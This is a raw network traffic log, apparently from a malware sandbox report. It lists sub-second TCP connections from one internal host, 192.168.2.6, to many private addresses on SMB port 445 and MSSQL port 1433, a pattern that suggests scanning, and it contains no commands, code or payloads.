Jul 6, 2024 14:11:36.668104887 CEST	52887	1433	192.168.2.6	192.168.0.37
Jul 6, 2024 14:11:36.669141054 CEST	52888	445	192.168.2.6	192.168.4.58
Jul 6, 2024 14:11:36.669141054 CEST	52889	445	192.168.2.6	192.168.4.59
Jul 6, 2024 14:11:36.669707060 CEST	445	52882	192.168.3.199	192.168.2.6
Jul 6, 2024 14:11:36.669717073 CEST	445	52881	192.168.3.198	192.168.2.6
Jul 6, 2024 14:11:36.669734001 CEST	445	52874	192.168.3.191	192.168.2.6
Jul 6, 2024 14:11:36.669743061 CEST	445	52880	192.168.4.57	192.168.2.6
Jul 6, 2024 14:11:36.669751883 CEST	445	52883	192.168.3.200	192.168.2.6
Jul 6, 2024 14:11:36.669811010 CEST	445	52878	192.168.3.196	192.168.2.6
Jul 6, 2024 14:11:36.669820070 CEST	445	52879	192.168.3.197	192.168.2.6
Jul 6, 2024 14:11:36.671015024 CEST	52893	445	192.168.2.6	192.168.4.60
Jul 6, 2024 14:11:36.672106028 CEST	52882	445	192.168.2.6	192.168.3.199
Jul 6, 2024 14:11:36.672106028 CEST	52882	445	192.168.2.6	192.168.3.199
Jul 6, 2024 14:11:36.672914028 CEST	1433	52884	192.168.0.36	192.168.2.6
Jul 6, 2024 14:11:36.672945976 CEST	52883	445	192.168.2.6	192.168.3.200
Jul 6, 2024 14:11:36.672945976 CEST	52883	445	192.168.2.6	192.168.3.200
Jul 6, 2024 14:11:36.673367977 CEST	1433	52887	192.168.0.37	192.168.2.6
Jul 6, 2024 14:11:36.675854921 CEST	445	52893	192.168.4.60	192.168.2.6
Jul 6, 2024 14:11:36.676983118 CEST	445	52882	192.168.3.199	192.168.2.6
Jul 6, 2024 14:11:36.677043915 CEST	52893	445	192.168.2.6	192.168.4.60
Jul 6, 2024 14:11:36.677129030 CEST	52893	445	192.168.2.6	192.168.4.60
Jul 6, 2024 14:11:36.677568913 CEST	445	52882	192.168.3.199	192.168.2.6
Jul 6, 2024 14:11:36.678121090 CEST	52887	1433	192.168.2.6	192.168.0.37
Jul 6, 2024 14:11:36.678121090 CEST	52887	1433	192.168.2.6	192.168.0.37
Jul 6, 2024 14:11:36.681660891 CEST	52896	445	192.168.2.6	192.168.3.201
Jul 6, 2024 14:11:36.681662083 CEST	52899	1433	192.168.2.6	192.168.0.40
Jul 6, 2024 14:11:36.683538914 CEST	445	52893	192.168.4.60	192.168.2.6
Jul 6, 2024 14:11:36.685437918 CEST	52893	445	192.168.2.6	192.168.4.60
Jul 6, 2024 14:11:36.685813904 CEST	1433	52887	192.168.0.37	192.168.2.6
Jul 6, 2024 14:11:36.686620951 CEST	52890	1433	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:36.686676025 CEST	52881	445	192.168.2.6	192.168.3.198
Jul 6, 2024 14:11:36.686676025 CEST	52881	445	192.168.2.6	192.168.3.198
Jul 6, 2024 14:11:36.686753035 CEST	52894	1433	192.168.2.6	192.168.0.39
Jul 6, 2024 14:11:36.686753035 CEST	52884	1433	192.168.2.6	192.168.0.36
Jul 6, 2024 14:11:36.686753035 CEST	52884	1433	192.168.2.6	192.168.0.36
Jul 6, 2024 14:11:36.686753035 CEST	52895	1433	192.168.2.6	192.168.0.37
Jul 6, 2024 14:11:36.686753035 CEST	52898	445	192.168.2.6	192.168.4.61
Jul 6, 2024 14:11:36.686763048 CEST	445	52883	192.168.3.200	192.168.2.6
Jul 6, 2024 14:11:36.686781883 CEST	445	52888	192.168.4.58	192.168.2.6
Jul 6, 2024 14:11:36.686790943 CEST	445	52889	192.168.4.59	192.168.2.6
Jul 6, 2024 14:11:36.686800957 CEST	445	52883	192.168.3.200	192.168.2.6
Jul 6, 2024 14:11:36.687599897 CEST	52888	445	192.168.2.6	192.168.4.58
Jul 6, 2024 14:11:36.687599897 CEST	52889	445	192.168.2.6	192.168.4.59
Jul 6, 2024 14:11:36.687599897 CEST	52889	445	192.168.2.6	192.168.4.59
Jul 6, 2024 14:11:36.687599897 CEST	52888	445	192.168.2.6	192.168.4.58
Jul 6, 2024 14:11:36.690839052 CEST	52887	1433	192.168.2.6	192.168.0.37
Jul 6, 2024 14:11:36.691485882 CEST	1433	52890	192.168.0.38	192.168.2.6
Jul 6, 2024 14:11:36.691541910 CEST	445	52881	192.168.3.198	192.168.2.6
Jul 6, 2024 14:11:36.691616058 CEST	445	52881	192.168.3.198	192.168.2.6
Jul 6, 2024 14:11:36.691625118 CEST	1433	52894	192.168.0.39	192.168.2.6
Jul 6, 2024 14:11:36.691677094 CEST	1433	52895	192.168.0.37	192.168.2.6
Jul 6, 2024 14:11:36.691696882 CEST	1433	52884	192.168.0.36	192.168.2.6
Jul 6, 2024 14:11:36.694320917 CEST	52900	1433	192.168.2.6	192.168.0.39
Jul 6, 2024 14:11:36.695014000 CEST	52903	1433	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:36.695734024 CEST	445	52888	192.168.4.58	192.168.2.6
Jul 6, 2024 14:11:36.695827961 CEST	52902	445	192.168.2.6	192.168.3.203
Jul 6, 2024 14:11:36.695852995 CEST	52888	445	192.168.2.6	192.168.4.58
Jul 6, 2024 14:11:36.697640896 CEST	52905	445	192.168.2.6	192.168.4.62
Jul 6, 2024 14:11:36.698586941 CEST	445	52898	192.168.4.61	192.168.2.6
Jul 6, 2024 14:11:36.698656082 CEST	445	52896	192.168.3.201	192.168.2.6
Jul 6, 2024 14:11:36.698666096 CEST	1433	52899	192.168.0.40	192.168.2.6
Jul 6, 2024 14:11:36.699174881 CEST	445	52888	192.168.4.58	192.168.2.6
Jul 6, 2024 14:11:36.699377060 CEST	445	52889	192.168.4.59	192.168.2.6
Jul 6, 2024 14:11:36.699413061 CEST	52889	445	192.168.2.6	192.168.4.59
Jul 6, 2024 14:11:36.699817896 CEST	1433	52903	192.168.0.38	192.168.2.6
Jul 6, 2024 14:11:36.700704098 CEST	52903	1433	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:36.700704098 CEST	52903	1433	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:36.702239037 CEST	52907	1433	192.168.2.6	192.168.0.40
Jul 6, 2024 14:11:36.703636885 CEST	1433	52900	192.168.0.39	192.168.2.6
Jul 6, 2024 14:11:36.703680992 CEST	445	52902	192.168.3.203	192.168.2.6
Jul 6, 2024 14:11:36.703721046 CEST	52902	445	192.168.2.6	192.168.3.203
Jul 6, 2024 14:11:36.703803062 CEST	52902	445	192.168.2.6	192.168.3.203
Jul 6, 2024 14:11:36.706293106 CEST	52901	445	192.168.2.6	192.168.3.202
Jul 6, 2024 14:11:36.706293106 CEST	52904	1433	192.168.2.6	192.168.0.41
Jul 6, 2024 14:11:36.706293106 CEST	52896	445	192.168.2.6	192.168.3.201
Jul 6, 2024 14:11:36.706293106 CEST	52899	1433	192.168.2.6	192.168.0.40
Jul 6, 2024 14:11:36.706293106 CEST	52896	445	192.168.2.6	192.168.3.201
Jul 6, 2024 14:11:36.706293106 CEST	52899	1433	192.168.2.6	192.168.0.40
Jul 6, 2024 14:11:36.706716061 CEST	445	52905	192.168.4.62	192.168.2.6
Jul 6, 2024 14:11:36.706960917 CEST	52890	1433	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:36.706960917 CEST	52894	1433	192.168.2.6	192.168.0.39
Jul 6, 2024 14:11:36.706960917 CEST	52895	1433	192.168.2.6	192.168.0.37
Jul 6, 2024 14:11:36.706960917 CEST	52884	1433	192.168.2.6	192.168.0.36
Jul 6, 2024 14:11:36.706960917 CEST	52895	1433	192.168.2.6	192.168.0.37
Jul 6, 2024 14:11:36.706960917 CEST	52894	1433	192.168.2.6	192.168.0.39
Jul 6, 2024 14:11:36.707628965 CEST	1433	52907	192.168.0.40	192.168.2.6
Jul 6, 2024 14:11:36.707683086 CEST	52907	1433	192.168.2.6	192.168.0.40
Jul 6, 2024 14:11:36.707743883 CEST	52907	1433	192.168.2.6	192.168.0.40
Jul 6, 2024 14:11:36.707951069 CEST	52905	445	192.168.2.6	192.168.4.62
Jul 6, 2024 14:11:36.707951069 CEST	52905	445	192.168.2.6	192.168.4.62
Jul 6, 2024 14:11:36.708311081 CEST	52900	1433	192.168.2.6	192.168.0.39
Jul 6, 2024 14:11:36.708311081 CEST	52900	1433	192.168.2.6	192.168.0.39
Jul 6, 2024 14:11:36.708662033 CEST	1433	52903	192.168.0.38	192.168.2.6
Jul 6, 2024 14:11:36.708672047 CEST	1433	52903	192.168.0.38	192.168.2.6
Jul 6, 2024 14:11:36.708785057 CEST	52890	1433	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:36.708785057 CEST	52898	445	192.168.2.6	192.168.4.61
Jul 6, 2024 14:11:36.708785057 CEST	52898	445	192.168.2.6	192.168.4.61
Jul 6, 2024 14:11:36.708848000 CEST	445	52902	192.168.3.203	192.168.2.6
Jul 6, 2024 14:11:36.709091902 CEST	52902	445	192.168.2.6	192.168.3.203
Jul 6, 2024 14:11:36.709259987 CEST	445	52902	192.168.3.203	192.168.2.6
Jul 6, 2024 14:11:36.710983992 CEST	52910	445	192.168.2.6	192.168.4.63
Jul 6, 2024 14:11:36.711333036 CEST	445	52901	192.168.3.202	192.168.2.6
Jul 6, 2024 14:11:36.711455107 CEST	1433	52904	192.168.0.41	192.168.2.6
Jul 6, 2024 14:11:36.711464882 CEST	445	52896	192.168.3.201	192.168.2.6
Jul 6, 2024 14:11:36.711483955 CEST	445	52896	192.168.3.201	192.168.2.6
Jul 6, 2024 14:11:36.711599112 CEST	1433	52899	192.168.0.40	192.168.2.6
Jul 6, 2024 14:11:36.711966038 CEST	1433	52895	192.168.0.37	192.168.2.6
Jul 6, 2024 14:11:36.711975098 CEST	1433	52890	192.168.0.38	192.168.2.6
Jul 6, 2024 14:11:36.712255955 CEST	1433	52894	192.168.0.39	192.168.2.6
Jul 6, 2024 14:11:36.712374926 CEST	52912	1433	192.168.2.6	192.168.0.42
Jul 6, 2024 14:11:36.712378025 CEST	1433	52895	192.168.0.37	192.168.2.6
Jul 6, 2024 14:11:36.712589979 CEST	52914	1433	192.168.2.6	192.168.0.37
Jul 6, 2024 14:11:36.712632895 CEST	1433	52907	192.168.0.40	192.168.2.6
Jul 6, 2024 14:11:36.712672949 CEST	52901	445	192.168.2.6	192.168.3.202
Jul 6, 2024 14:11:36.712672949 CEST	52901	445	192.168.2.6	192.168.3.202
Jul 6, 2024 14:11:36.712672949 CEST	52904	1433	192.168.2.6	192.168.0.41
Jul 6, 2024 14:11:36.712672949 CEST	52904	1433	192.168.2.6	192.168.0.41
Jul 6, 2024 14:11:36.712672949 CEST	52899	1433	192.168.2.6	192.168.0.40
Jul 6, 2024 14:11:36.712680101 CEST	52907	1433	192.168.2.6	192.168.0.40
Jul 6, 2024 14:11:36.712754965 CEST	52907	1433	192.168.2.6	192.168.0.40
Jul 6, 2024 14:11:36.713002920 CEST	445	52905	192.168.4.62	192.168.2.6
Jul 6, 2024 14:11:36.713109016 CEST	52909	445	192.168.2.6	192.168.3.204
Jul 6, 2024 14:11:36.713886976 CEST	1433	52890	192.168.0.38	192.168.2.6
Jul 6, 2024 14:11:36.713994980 CEST	1433	52907	192.168.0.40	192.168.2.6
Jul 6, 2024 14:11:36.714049101 CEST	445	52902	192.168.3.203	192.168.2.6
Jul 6, 2024 14:11:36.715172052 CEST	52908	1433	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:36.715404034 CEST	52905	445	192.168.2.6	192.168.4.62
Jul 6, 2024 14:11:36.715816021 CEST	445	52898	192.168.4.61	192.168.2.6
Jul 6, 2024 14:11:36.715898991 CEST	445	52910	192.168.4.63	192.168.2.6
Jul 6, 2024 14:11:36.716366053 CEST	52890	1433	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:36.716366053 CEST	52894	1433	192.168.2.6	192.168.0.39
Jul 6, 2024 14:11:36.716366053 CEST	52913	1433	192.168.2.6	192.168.0.41
Jul 6, 2024 14:11:36.716366053 CEST	52915	1433	192.168.2.6	192.168.0.40
Jul 6, 2024 14:11:36.717029095 CEST	1433	52900	192.168.0.39	192.168.2.6
Jul 6, 2024 14:11:36.717039108 CEST	1433	52900	192.168.0.39	192.168.2.6
Jul 6, 2024 14:11:36.717478037 CEST	1433	52912	192.168.0.42	192.168.2.6
Jul 6, 2024 14:11:36.717489004 CEST	1433	52914	192.168.0.37	192.168.2.6
Jul 6, 2024 14:11:36.717681885 CEST	1433	52907	192.168.0.40	192.168.2.6
Jul 6, 2024 14:11:36.717690945 CEST	445	52901	192.168.3.202	192.168.2.6
Jul 6, 2024 14:11:36.717700005 CEST	1433	52907	192.168.0.40	192.168.2.6
Jul 6, 2024 14:11:36.717763901 CEST	445	52901	192.168.3.202	192.168.2.6
Jul 6, 2024 14:11:36.717863083 CEST	1433	52904	192.168.0.41	192.168.2.6
Jul 6, 2024 14:11:36.718894958 CEST	52910	445	192.168.2.6	192.168.4.63
Jul 6, 2024 14:11:36.718894958 CEST	52910	445	192.168.2.6	192.168.4.63
Jul 6, 2024 14:11:36.718894958 CEST	52912	1433	192.168.2.6	192.168.0.42
Jul 6, 2024 14:11:36.718894958 CEST	52912	1433	192.168.2.6	192.168.0.42
Jul 6, 2024 14:11:36.718894958 CEST	52917	1433	192.168.2.6	192.168.0.42
Jul 6, 2024 14:11:36.719455004 CEST	52904	1433	192.168.2.6	192.168.0.41
Jul 6, 2024 14:11:36.720021009 CEST	1433	52908	192.168.0.38	192.168.2.6
Jul 6, 2024 14:11:36.720082998 CEST	52908	1433	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:36.720246077 CEST	52908	1433	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:36.721172094 CEST	52914	1433	192.168.2.6	192.168.0.37
Jul 6, 2024 14:11:36.721172094 CEST	52914	1433	192.168.2.6	192.168.0.37
Jul 6, 2024 14:11:36.721379995 CEST	445	52909	192.168.3.204	192.168.2.6
Jul 6, 2024 14:11:36.722594976 CEST	52916	1433	192.168.2.6	192.168.0.39
Jul 6, 2024 14:11:36.723361015 CEST	1433	52913	192.168.0.41	192.168.2.6
Jul 6, 2024 14:11:36.723793030 CEST	1433	52915	192.168.0.40	192.168.2.6
Jul 6, 2024 14:11:36.724394083 CEST	445	52910	192.168.4.63	192.168.2.6
Jul 6, 2024 14:11:36.725300074 CEST	1433	52908	192.168.0.38	192.168.2.6
Jul 6, 2024 14:11:36.725347042 CEST	52908	1433	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:36.725419044 CEST	52908	1433	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:36.725717068 CEST	52920	445	192.168.2.6	192.168.3.206
Jul 6, 2024 14:11:36.725801945 CEST	1433	52908	192.168.0.38	192.168.2.6
Jul 6, 2024 14:11:36.725812912 CEST	52910	445	192.168.2.6	192.168.4.63
Jul 6, 2024 14:11:36.726011038 CEST	52921	445	192.168.2.6	192.168.3.205
Jul 6, 2024 14:11:36.727421045 CEST	52924	445	192.168.2.6	192.168.4.64
Jul 6, 2024 14:11:36.727830887 CEST	1433	52916	192.168.0.39	192.168.2.6
Jul 6, 2024 14:11:36.728238106 CEST	52916	1433	192.168.2.6	192.168.0.39
Jul 6, 2024 14:11:36.728238106 CEST	52916	1433	192.168.2.6	192.168.0.39
Jul 6, 2024 14:11:36.728647947 CEST	1433	52917	192.168.0.42	192.168.2.6
Jul 6, 2024 14:11:36.728705883 CEST	52917	1433	192.168.2.6	192.168.0.42
Jul 6, 2024 14:11:36.728739023 CEST	52917	1433	192.168.2.6	192.168.0.42
Jul 6, 2024 14:11:36.729305983 CEST	1433	52912	192.168.0.42	192.168.2.6
Jul 6, 2024 14:11:36.729356050 CEST	52912	1433	192.168.2.6	192.168.0.42
Jul 6, 2024 14:11:36.730200052 CEST	1433	52908	192.168.0.38	192.168.2.6
Jul 6, 2024 14:11:36.730289936 CEST	52898	445	192.168.2.6	192.168.4.61
Jul 6, 2024 14:11:36.730535030 CEST	1433	52908	192.168.0.38	192.168.2.6
Jul 6, 2024 14:11:36.730912924 CEST	445	52920	192.168.3.206	192.168.2.6
Jul 6, 2024 14:11:36.731312990 CEST	445	52921	192.168.3.205	192.168.2.6
Jul 6, 2024 14:11:36.731365919 CEST	52921	445	192.168.2.6	192.168.3.205
Jul 6, 2024 14:11:36.731410027 CEST	52921	445	192.168.2.6	192.168.3.205
Jul 6, 2024 14:11:36.731794119 CEST	52918	1433	192.168.2.6	192.168.0.36
Jul 6, 2024 14:11:36.731794119 CEST	52919	1433	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:36.732530117 CEST	445	52924	192.168.4.64	192.168.2.6
Jul 6, 2024 14:11:36.732781887 CEST	1433	52914	192.168.0.37	192.168.2.6
Jul 6, 2024 14:11:36.733028889 CEST	1433	52916	192.168.0.39	192.168.2.6
Jul 6, 2024 14:11:36.733200073 CEST	1433	52916	192.168.0.39	192.168.2.6
Jul 6, 2024 14:11:36.733572006 CEST	1433	52917	192.168.0.42	192.168.2.6
Jul 6, 2024 14:11:36.733689070 CEST	1433	52917	192.168.0.42	192.168.2.6
Jul 6, 2024 14:11:36.735457897 CEST	52924	445	192.168.2.6	192.168.4.64
Jul 6, 2024 14:11:36.735457897 CEST	52924	445	192.168.2.6	192.168.4.64
Jul 6, 2024 14:11:36.736305952 CEST	445	52921	192.168.3.205	192.168.2.6
Jul 6, 2024 14:11:36.736721039 CEST	52920	445	192.168.2.6	192.168.3.206
Jul 6, 2024 14:11:36.736721039 CEST	52920	445	192.168.2.6	192.168.3.206
Jul 6, 2024 14:11:36.736885071 CEST	445	52921	192.168.3.205	192.168.2.6
Jul 6, 2024 14:11:36.737031937 CEST	1433	52918	192.168.0.36	192.168.2.6
Jul 6, 2024 14:11:36.737040997 CEST	1433	52919	192.168.0.38	192.168.2.6
Jul 6, 2024 14:11:36.737751961 CEST	52925	1433	192.168.2.6	192.168.0.39
Jul 6, 2024 14:11:36.739953041 CEST	52918	1433	192.168.2.6	192.168.0.36
Jul 6, 2024 14:11:36.739953995 CEST	52919	1433	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:36.739953995 CEST	52918	1433	192.168.2.6	192.168.0.36
Jul 6, 2024 14:11:36.739953995 CEST	52919	1433	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:36.740962982 CEST	445	52924	192.168.4.64	192.168.2.6
Jul 6, 2024 14:11:36.741836071 CEST	445	52920	192.168.3.206	192.168.2.6
Jul 6, 2024 14:11:36.741931915 CEST	445	52920	192.168.3.206	192.168.2.6
Jul 6, 2024 14:11:36.742911100 CEST	52927	445	192.168.2.6	192.168.3.207
Jul 6, 2024 14:11:36.744519949 CEST	52924	445	192.168.2.6	192.168.4.64
Jul 6, 2024 14:11:36.744965076 CEST	52909	445	192.168.2.6	192.168.3.204
Jul 6, 2024 14:11:36.744965076 CEST	52909	445	192.168.2.6	192.168.3.204
Jul 6, 2024 14:11:36.744966030 CEST	52913	1433	192.168.2.6	192.168.0.41
Jul 6, 2024 14:11:36.745038986 CEST	52913	1433	192.168.2.6	192.168.0.41
Jul 6, 2024 14:11:36.745038986 CEST	52915	1433	192.168.2.6	192.168.0.40
Jul 6, 2024 14:11:36.745038986 CEST	52915	1433	192.168.2.6	192.168.0.40
Jul 6, 2024 14:11:36.745059013 CEST	1433	52918	192.168.0.36	192.168.2.6
Jul 6, 2024 14:11:36.745153904 CEST	1433	52918	192.168.0.36	192.168.2.6
Jul 6, 2024 14:11:36.745163918 CEST	1433	52919	192.168.0.38	192.168.2.6
Jul 6, 2024 14:11:36.745663881 CEST	1433	52919	192.168.0.38	192.168.2.6
Jul 6, 2024 14:11:36.745799065 CEST	1433	52925	192.168.0.39	192.168.2.6
Jul 6, 2024 14:11:36.745949984 CEST	52925	1433	192.168.2.6	192.168.0.39
Jul 6, 2024 14:11:36.746011019 CEST	52925	1433	192.168.2.6	192.168.0.39
Jul 6, 2024 14:11:36.746279955 CEST	52922	1433	192.168.2.6	192.168.0.43
Jul 6, 2024 14:11:36.746876001 CEST	52931	1433	192.168.2.6	192.168.0.36
Jul 6, 2024 14:11:36.746876001 CEST	52932	1433	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:36.748533964 CEST	52929	1433	192.168.2.6	192.168.0.44
Jul 6, 2024 14:11:36.748682976 CEST	445	52927	192.168.3.207	192.168.2.6
Jul 6, 2024 14:11:36.749809027 CEST	445	52909	192.168.3.204	192.168.2.6
Jul 6, 2024 14:11:36.749897957 CEST	1433	52913	192.168.0.41	192.168.2.6
Jul 6, 2024 14:11:36.749908924 CEST	1433	52915	192.168.0.40	192.168.2.6
Jul 6, 2024 14:11:36.749960899 CEST	445	52909	192.168.3.204	192.168.2.6
Jul 6, 2024 14:11:36.750435114 CEST	1433	52913	192.168.0.41	192.168.2.6
Jul 6, 2024 14:11:36.750444889 CEST	1433	52915	192.168.0.40	192.168.2.6
Jul 6, 2024 14:11:36.750798941 CEST	52934	1433	192.168.2.6	192.168.0.40
Jul 6, 2024 14:11:36.751121998 CEST	1433	52925	192.168.0.39	192.168.2.6
Jul 6, 2024 14:11:36.751221895 CEST	52933	1433	192.168.2.6	192.168.0.41
Jul 6, 2024 14:11:36.751446009 CEST	1433	52925	192.168.0.39	192.168.2.6
Jul 6, 2024 14:11:36.751905918 CEST	52927	445	192.168.2.6	192.168.3.207
Jul 6, 2024 14:11:36.751905918 CEST	52927	445	192.168.2.6	192.168.3.207
Jul 6, 2024 14:11:36.753307104 CEST	1433	52931	192.168.0.36	192.168.2.6
Jul 6, 2024 14:11:36.753407955 CEST	52931	1433	192.168.2.6	192.168.0.36
Jul 6, 2024 14:11:36.753715992 CEST	1433	52932	192.168.0.38	192.168.2.6
Jul 6, 2024 14:11:36.754549026 CEST	1433	52922	192.168.0.43	192.168.2.6
Jul 6, 2024 14:11:36.755548000 CEST	52935	1433	192.168.2.6	192.168.0.39
Jul 6, 2024 14:11:36.756139994 CEST	1433	52934	192.168.0.40	192.168.2.6
Jul 6, 2024 14:11:36.756508112 CEST	52926	1433	192.168.2.6	192.168.0.42
Jul 6, 2024 14:11:36.756987095 CEST	445	52927	192.168.3.207	192.168.2.6
Jul 6, 2024 14:11:36.757203102 CEST	445	52927	192.168.3.207	192.168.2.6
Jul 6, 2024 14:11:36.757349014 CEST	52934	1433	192.168.2.6	192.168.0.40
Jul 6, 2024 14:11:36.757349014 CEST	52934	1433	192.168.2.6	192.168.0.40
Jul 6, 2024 14:11:36.757375002 CEST	52936	445	192.168.2.6	192.168.3.208
Jul 6, 2024 14:11:36.757543087 CEST	52937	1433	192.168.2.6	192.168.0.43
Jul 6, 2024 14:11:36.757605076 CEST	1433	52933	192.168.0.41	192.168.2.6
Jul 6, 2024 14:11:36.760176897 CEST	52933	1433	192.168.2.6	192.168.0.41
Jul 6, 2024 14:11:36.760176897 CEST	52933	1433	192.168.2.6	192.168.0.41
Jul 6, 2024 14:11:36.760715961 CEST	52940	1433	192.168.2.6	192.168.0.45
Jul 6, 2024 14:11:36.761002064 CEST	1433	52935	192.168.0.39	192.168.2.6
Jul 6, 2024 14:11:36.761442900 CEST	52935	1433	192.168.2.6	192.168.0.39
Jul 6, 2024 14:11:36.761442900 CEST	52935	1433	192.168.2.6	192.168.0.39
Jul 6, 2024 14:11:36.761811972 CEST	1433	52926	192.168.0.42	192.168.2.6
Jul 6, 2024 14:11:36.761879921 CEST	52931	1433	192.168.2.6	192.168.0.36
Jul 6, 2024 14:11:36.761879921 CEST	52932	1433	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:36.761879921 CEST	52932	1433	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:36.761936903 CEST	1433	52929	192.168.0.44	192.168.2.6
Jul 6, 2024 14:11:36.762167931 CEST	445	52936	192.168.3.208	192.168.2.6
Jul 6, 2024 14:11:36.762221098 CEST	1433	52934	192.168.0.40	192.168.2.6
Jul 6, 2024 14:11:36.762358904 CEST	1433	52937	192.168.0.43	192.168.2.6
Jul 6, 2024 14:11:36.762407064 CEST	52937	1433	192.168.2.6	192.168.0.43
Jul 6, 2024 14:11:36.762450933 CEST	52937	1433	192.168.2.6	192.168.0.43
Jul 6, 2024 14:11:36.765050888 CEST	1433	52933	192.168.0.41	192.168.2.6
Jul 6, 2024 14:11:36.765219927 CEST	1433	52933	192.168.0.41	192.168.2.6
Jul 6, 2024 14:11:36.766721010 CEST	1433	52931	192.168.0.36	192.168.2.6
Jul 6, 2024 14:11:36.766729116 CEST	1433	52932	192.168.0.38	192.168.2.6
Jul 6, 2024 14:11:36.767288923 CEST	1433	52931	192.168.0.36	192.168.2.6
Jul 6, 2024 14:11:36.767307043 CEST	1433	52932	192.168.0.38	192.168.2.6
Jul 6, 2024 14:11:36.767503023 CEST	1433	52937	192.168.0.43	192.168.2.6
Jul 6, 2024 14:11:36.767632008 CEST	52936	445	192.168.2.6	192.168.3.208
Jul 6, 2024 14:11:36.767632008 CEST	52936	445	192.168.2.6	192.168.3.208
Jul 6, 2024 14:11:36.767702103 CEST	1433	52937	192.168.0.43	192.168.2.6
Jul 6, 2024 14:11:36.767987967 CEST	52942	1433	192.168.2.6	192.168.0.36
Jul 6, 2024 14:11:36.768248081 CEST	52941	1433	192.168.2.6	192.168.0.41
Jul 6, 2024 14:11:36.768248081 CEST	52943	1433	192.168.2.6	192.168.0.43
Jul 6, 2024 14:11:36.768788099 CEST	52929	1433	192.168.2.6	192.168.0.44
Jul 6, 2024 14:11:36.769001007 CEST	52928	445	192.168.2.6	192.168.4.65
Jul 6, 2024 14:11:36.770726919 CEST	52922	1433	192.168.2.6	192.168.0.43
Jul 6, 2024 14:11:36.770726919 CEST	52922	1433	192.168.2.6	192.168.0.43
Jul 6, 2024 14:11:36.772463083 CEST	445	52936	192.168.3.208	192.168.2.6
Jul 6, 2024 14:11:36.772676945 CEST	445	52936	192.168.3.208	192.168.2.6
Jul 6, 2024 14:11:36.772845984 CEST	52938	445	192.168.2.6	192.168.4.66
Jul 6, 2024 14:11:36.772852898 CEST	1433	52935	192.168.0.39	192.168.2.6
Jul 6, 2024 14:11:36.773026943 CEST	1433	52935	192.168.0.39	192.168.2.6
Jul 6, 2024 14:11:36.773283005 CEST	52944	1433	192.168.2.6	192.168.0.44
Jul 6, 2024 14:11:36.773744106 CEST	1433	52940	192.168.0.45	192.168.2.6
Jul 6, 2024 14:11:36.773863077 CEST	445	52928	192.168.4.65	192.168.2.6
Jul 6, 2024 14:11:36.773974895 CEST	1433	52929	192.168.0.44	192.168.2.6
Jul 6, 2024 14:11:36.774633884 CEST	1433	52941	192.168.0.41	192.168.2.6
Jul 6, 2024 14:11:36.774704933 CEST	52941	1433	192.168.2.6	192.168.0.41
Jul 6, 2024 14:11:36.774790049 CEST	1433	52943	192.168.0.43	192.168.2.6
Jul 6, 2024 14:11:36.775198936 CEST	52929	1433	192.168.2.6	192.168.0.44
Jul 6, 2024 14:11:36.775198936 CEST	52940	1433	192.168.2.6	192.168.0.45
Jul 6, 2024 14:11:36.775198936 CEST	52929	1433	192.168.2.6	192.168.0.44
Jul 6, 2024 14:11:36.775918007 CEST	52947	1433	192.168.2.6	192.168.0.46
Jul 6, 2024 14:11:36.776051998 CEST	1433	52922	192.168.0.43	192.168.2.6
Jul 6, 2024 14:11:36.776258945 CEST	52941	1433	192.168.2.6	192.168.0.41
Jul 6, 2024 14:11:36.776258945 CEST	52943	1433	192.168.2.6	192.168.0.43
Jul 6, 2024 14:11:36.776258945 CEST	52943	1433	192.168.2.6	192.168.0.43
Jul 6, 2024 14:11:36.777651072 CEST	1433	52922	192.168.0.43	192.168.2.6
Jul 6, 2024 14:11:36.777662039 CEST	445	52938	192.168.4.66	192.168.2.6
Jul 6, 2024 14:11:36.778392076 CEST	1433	52944	192.168.0.44	192.168.2.6
Jul 6, 2024 14:11:36.778434992 CEST	52944	1433	192.168.2.6	192.168.0.44
Jul 6, 2024 14:11:36.778479099 CEST	52944	1433	192.168.2.6	192.168.0.44
Jul 6, 2024 14:11:36.780814886 CEST	1433	52947	192.168.0.46	192.168.2.6
Jul 6, 2024 14:11:36.780863047 CEST	52947	1433	192.168.2.6	192.168.0.46
Jul 6, 2024 14:11:36.781043053 CEST	52947	1433	192.168.2.6	192.168.0.46
Jul 6, 2024 14:11:36.781044006 CEST	1433	52941	192.168.0.41	192.168.2.6
Jul 6, 2024 14:11:36.781284094 CEST	1433	52941	192.168.0.41	192.168.2.6
Jul 6, 2024 14:11:36.781636000 CEST	52951	1433	192.168.2.6	192.168.0.46
Jul 6, 2024 14:11:36.781687021 CEST	1433	52943	192.168.0.43	192.168.2.6
Jul 6, 2024 14:11:36.781707048 CEST	1433	52929	192.168.0.44	192.168.2.6
Jul 6, 2024 14:11:36.781812906 CEST	52945	1433	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:36.781812906 CEST	52946	1433	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:36.781812906 CEST	52948	445	192.168.2.6	192.168.4.67
Jul 6, 2024 14:11:36.781845093 CEST	1433	52943	192.168.0.43	192.168.2.6
Jul 6, 2024 14:11:36.782273054 CEST	1433	52940	192.168.0.45	192.168.2.6
Jul 6, 2024 14:11:36.782708883 CEST	52926	1433	192.168.2.6	192.168.0.42
Jul 6, 2024 14:11:36.782708883 CEST	52926	1433	192.168.2.6	192.168.0.42
Jul 6, 2024 14:11:36.783305883 CEST	52928	445	192.168.2.6	192.168.4.65
Jul 6, 2024 14:11:36.783305883 CEST	52922	1433	192.168.2.6	192.168.0.43
Jul 6, 2024 14:11:36.783305883 CEST	52938	445	192.168.2.6	192.168.4.66
Jul 6, 2024 14:11:36.783339024 CEST	1433	52944	192.168.0.44	192.168.2.6
